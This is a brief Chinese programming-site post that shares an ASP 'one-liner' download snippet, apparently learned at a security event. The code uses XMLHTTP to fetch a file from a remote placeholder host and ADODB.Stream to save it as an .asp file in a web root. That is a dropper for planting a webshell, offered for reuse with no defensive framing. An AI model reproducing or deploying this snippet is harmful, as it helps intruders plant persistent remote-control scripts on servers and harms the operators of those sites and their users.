当前位置: 移动技术网 > IT编程>开发语言>Asp > asp xmlhttp下载一句话

asp xmlhttp下载一句话

2017年12月08日  | 移动技术网IT编程  | 我要评论
分享一下
在3est活动中学习的godlong的
复制代码 代码如下:

<%
set xpost = createobject("microsoft.xmlhttp")
xpost.open "get","http://www.fxxxx.com/1.txt",0 '下载文件的地址
xpost.send()
set sget = createobject("adodb.stream")
sget.mode = 3
sget.type = 1
sget.open()
sget.write(xpost.responsebody)
sget.savetofile "e:\wwwroot\fuck1.asp",2
%>

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网